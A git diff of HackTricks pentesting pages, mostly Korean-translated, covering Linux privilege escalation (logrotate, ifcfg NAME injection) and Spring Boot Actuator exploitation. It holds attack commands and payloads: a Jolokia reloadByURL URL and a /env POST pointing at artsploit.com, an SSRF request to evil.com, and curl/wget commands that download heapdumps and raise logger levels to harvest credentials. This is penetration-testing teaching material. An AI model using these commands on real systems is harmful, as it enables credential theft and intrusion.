인해 로그 파일 또는 해당 상위 디렉터리에 대한 **쓰기 권한**이 있는 사용자가 권한 상승을 할 수 있습니다. 이는 `logrotate`가 종종 **root**로 실행되며, 임의 파일을 실행하도록 조작될 수 있기 때문입니다. 특히 _**/etc/bash_completion.d/**_와 같은 디렉터리가 위험합니다. 권한은 _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리에서 확인해야 합니다. +`logrotate`의 취약점은 로그 파일이나 그 상위 디렉터리에 대해 **쓰기 권한**을 가진 사용자가 권한 상승을 얻을 수 있게 합니다. 이는 종종 **root**로 실행되는 `logrotate`가 임의 파일을 실행하도록 조작될 수 있기 때문이며, 특히 _**/etc/bash_completion.d/**_ 같은 디렉터리에서 그렇습니다. 따라서 권한 검사는 _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리에서 수행해야 합니다. > [!TIP] -> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다 +> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 줍니다 -자세한 정보는 다음 페이지에서 확인하세요: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +이 취약점에 대한 자세한 정보는 다음 페이지에서 확인할 수 있습니다: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). 이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다. -이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 누가 해당 로그를 관리하는지 확인하고 로그를 symlinks로 대체해 권한 상승이 가능한지 확인하세요. +이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** 와 매우 유사하므로, 로그를 변경할 수 있는 경우 누가 해당 로그를 관리하는지 확인하고 로그를 symlink로 대체해 권한 상승이 가능한지 확인하세요. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**취약점 참조:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **작성**할 수 있거나 기존 스크립트를 **수정**할 수 있다면, 시스템은 **pwned** 상태입니다. +어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **쓰기**할 수 있거나 기존 스크립트를 **수정**할 수 있다면, 귀하의 **system is pwned** 상태입니다. -Network scripts, _ifcg-eth0_ 예를 들어 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 거의 동일하게 보입니다. 그러나 Linux에서 Network Manager (dispatcher.d)에 의해 \~sourced\~ 됩니다. +Network scripts, _ifcg-eth0_ 같은 것은 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 거의 동일하게 보입니다. 그러나 Linux에서는 Network Manager (dispatcher.d)에 의해 ~sourced~ 됩니다. -제 경우에는 이러한 네트워크 스크립트의 `NAME=` 속성이 올바르게 처리되지 않았습니다. 이름에 **공백(white/blank space)**가 있으면 시스템은 공백 뒤의 부분을 실행하려고 합니다. 이는 **첫 번째 공백 뒤의 모든 것이 root로 실행된다**는 의미입니다. +제 경우에는 이러한 네트워크 스크립트의 `NAME=` 속성이 올바르게 처리되지 않았습니다. 이름에 **white/blank space**가 있으면 시스템은 공백 이후 부분을 실행하려고 시도합니다. 즉, **첫 번째 공백 이후의 모든 것이 root로 실행됩니다**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +예: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network와 /bin/id_ 사이의 공백에 주의_) +(_Network와 /bin/id_ 사이의 공백에 주의하세요_) ### **init, init.d, systemd, and rc.d** -디렉터리 `/etc/init.d` 는 System V init (SysVinit)를 위한 **스크립트**들이 위치하는 곳으로, **전통적인 Linux 서비스 관리 시스템**입니다. 여기에는 서비스를 `start`, `stop`, `restart`, 때로는 `reload` 하기 위한 스크립트가 포함되어 있습니다. 이들은 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 계열에서는 대안 경로로 `/etc/rc.d/init.d`가 사용됩니다. +디렉터리 `/etc/init.d` 는 System V init (SysVinit)을 위한 **scripts**의 홈입니다. 여기에는 서비스 `start`, `stop`, `restart` 및 경우에 따라 `reload` 스크립트가 포함되어 있습니다. 이들은 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 계열 시스템의 대체 경로는 `/etc/rc.d/init.d` 입니다. -반면 `/etc/init`은 **Upstart**와 연관되어 있으며, Ubuntu에서 도입된 비교적 새로운 **서비스 관리** 방식으로, 서비스 관리를 위해 설정 파일을 사용합니다. Upstart로의 전환에도 불구하고 호환성 레이어 때문에 SysVinit 스크립트는 Upstart 구성과 함께 여전히 사용됩니다. +반면 `/etc/init` 은 **Upstart**와 연관되어 있으며, Ubuntu에서 도입된 새로운 **service management**로 서비스 관리를 위한 구성 파일을 사용합니다. Upstart로의 전환이 이루어졌더라도 Upstart의 호환성 레이어 때문에 SysVinit 스크립트는 여전히 Upstart 구성과 함께 사용됩니다. -**systemd**는 현대적인 초기화 및 서비스 관리자로 등장했으며, on-demand 데몬 시작, automount 관리, 시스템 상태 스냅샷 등 고급 기능을 제공합니다. 패키지용 파일은 `/usr/lib/systemd/`에, 관리자가 수정하는 파일은 `/etc/systemd/system/`에 정리되어 있어 시스템 관리 과정을 간소화합니다. +**systemd**는 현대적인 초기화 및 서비스 관리자로 등장했으며, 필요 시 데몬 시작(on-demand daemon starting), automount 관리, 시스템 상태 스냅샷(system state snapshots)과 같은 고급 기능을 제공합니다. 배포 패키지는 `/usr/lib/systemd/`에, 관리자가 수정하는 항목은 `/etc/systemd/system/`에 정리되어 시스템 관리 과정을 단순화합니다. -## Other Tricks +## 기타 요령 ### NFS Privilege escalation @@ -1387,7 +1412,7 @@ DEVICE=eth0 nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### 제한된 Shell에서의 탈출 {{#ref}} @@ -1403,39 +1428,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks는 일반적으로 privileged kernel 기능을 userspace manager에 노출하기 위해 syscall을 후킹합니다. FD-order 기반 서명 검사나 취약한 비밀번호 방식 같은 약한 manager 인증은 로컬 앱이 manager를 가장하여 이미 root화된 장치에서 root로 상승할 수 있게 할 수 있습니다. 자세한 내용과 exploitation 세부사항은 다음을 참조: - +Android rooting frameworks는 일반적으로 syscall을 훅(hook)하여 privileged kernel 기능을 userspace manager에 노출합니다. 관리자(manager) 인증이 약할 경우(예: FD-order 기반의 signature 체크나 취약한 비밀번호 방식) 로컬 앱이 manager를 가장하여 이미 루팅된 디바이스에서 root로 상승할 수 있습니다. 자세한 내용과 익스플로잇 방법은 다음을 참조하세요: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## 커널 보안 보호 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## 추가 도움 [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux 로컬 privilege escalation 벡터를 찾기 위한 최고의 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ -**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ +**BeeRoot (물리적 접근):** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## 참고자료 - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1454,6 +1478,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index a8156db18..bd1c37936 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**출처** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Exploiting Spring Boot Actuators +## Spring Boot Actuators 악용 -**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**원본 게시물 확인:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Key Points:** +### **핵심 요약:** -- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등의 엔드포인트를 등록합니다. 1부터 1.4 버전까지는 이러한 엔드포인트에 인증 없이 접근할 수 있습니다. 1.5 버전부터는 기본적으로 `/health`와 `/info`만 비민감하지만, 개발자들이 종종 이 보안을 비활성화합니다. -- 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 해로운 작업을 허용할 수 있습니다: +- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등과 같은 엔드포인트를 등록합니다. 버전 1 ~ 1.4에서는 이러한 엔드포인트가 인증 없이 접근 가능했습니다. 1.5 이상부터는 기본적으로 `/health`와 `/info`만 비민감으로 설정되지만, 개발자들이 종종 이 보안을 비활성화합니다. +- 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 위험한 동작을 허용할 수 있습니다: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, 및 `/heapdump`. -- Spring Boot 1.x에서는 액추에이터가 루트 URL 아래에 등록되지만, 2.x에서는 `/actuator/` 기본 경로 아래에 있습니다. +- Spring Boot 1.x에서는 actuator가 루트 URL 아래에 등록되는 반면, 2.x에서는 `/actuator/` 베이스 경로 아래에 있습니다. -### **Exploitation Techniques:** +### **공격 기법:** 1. **Remote Code Execution via '/jolokia'**: -- `/jolokia` 액추에이터 엔드포인트는 Jolokia 라이브러리를 노출하여 MBeans에 대한 HTTP 접근을 허용합니다. -- `reloadByURL` 작업은 외부 URL에서 로깅 구성을 다시 로드하도록 악용될 수 있으며, 이는 블라인드 XXE 또는 조작된 XML 구성을 통한 원격 코드 실행으로 이어질 수 있습니다. -- 예시 악용 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +- `/jolokia` actuator 엔드포인트는 Jolokia Library를 노출하며, 이를 통해 MBeans에 HTTP로 접근할 수 있습니다. +- `reloadByURL` 액션은 외부 URL에서 로깅 구성을 재로드하도록 악용될 수 있으며, 조작된 XML 구성으로 blind XXE 또는 Remote Code Execution으로 이어질 수 있습니다. +- 예제 익스플로잇 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트는 환경 속성을 수정할 수 있습니다. -- 속성은 Eureka serviceURL의 XStream 역직렬화 취약점을 악용하기 위해 조작될 수 있습니다. -- 예시 악용 POST 요청: +- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트를 통해 환경 속성(environmental properties)을 수정할 수 있습니다. +- 속성들을 조작하여 Eureka의 serviceURL 같은 곳의 XStream deserialization 취약점 등 여러 취약점을 악용할 수 있습니다. +- 예제 exploit POST 요청: ``` POST /env HTTP/1.1 @@ -41,24 +41,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Other Useful Settings**: -- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active`와 같은 속성은 SQL 인젝션 또는 데이터베이스 연결 문자열 변경과 같은 다양한 악용을 위해 조작될 수 있습니다. +- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active` 같은 속성들은 SQL 인젝션이나 데이터베이스 연결 문자열 변경 등 다양한 익스플로잇에 활용될 수 있습니다. -### **Additional Information:** +### **추가 정보:** -- 기본 액추에이터의 포괄적인 목록은 [여기](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다. -- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 일반 개념은 동일하게 유지됩니다. +- 기본 actuator 목록 전체는 [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다. +- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 포맷을 사용하지만, 기본 개념은 동일합니다. -### **Related Topics:** +### **관련 주제:** 1. **Env + H2 RCE**: -- `/env` 엔드포인트와 H2 데이터베이스의 조합을 악용하는 방법에 대한 자세한 내용은 [여기](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다. +- `/env` 엔드포인트와 H2 데이터베이스의 조합을 이용한 익스플로잇에 대한 세부 정보는 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다. 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Spring 프레임워크의 HTTP 경로 이름에서 매트릭스 매개변수(`;`) 처리 방식은 서버 측 요청 위조(SSRF)를 악용할 수 있습니다. -- 예시 악용 요청: +- HTTP 경로명에서의 matrix parameter(`;`) 처리 방식의 오작동은 SSRF를 유발할 수 있습니다. +- 예제 익스플로잇 요청: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). + +- Download and quick triage: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Deeper analysis with VisualVM and OQL: +- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Automated extraction with JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Typical high-value findings: +- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`. +- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`). +- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory. + +팁: +- Actuator 엔드포인트를 빠르게 찾으려면 Spring 중심의 워드리스트를 사용하세요 (예: SecLists spring-boot.txt). 또한 `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, `/actuator/configprops` 등이 노출되어 있는지 항상 확인합니다. +- heapdump에서 얻은 Credentials는 인접한 서비스나 때로는 시스템 사용자(SSH)에도 통하는 경우가 많으니 광범위하게 시도해 보세요. + + +## Abusing Actuator loggers/logging to capture credentials + +If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters). + +- Enumerate and crank up sensitive loggers: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Find where logs are written and harvest: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose. + +노트: +- 작업이 끝나면 로그 레벨을 리셋하세요: `POST /actuator/loggers/` 에 `{ "configuredLevel": null }` 를 전송합니다. +- `/actuator/httpexchanges`가 노출되어 있으면 최근 요청 메타데이터가 노출되어 민감한 헤더를 포함할 수 있습니다. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}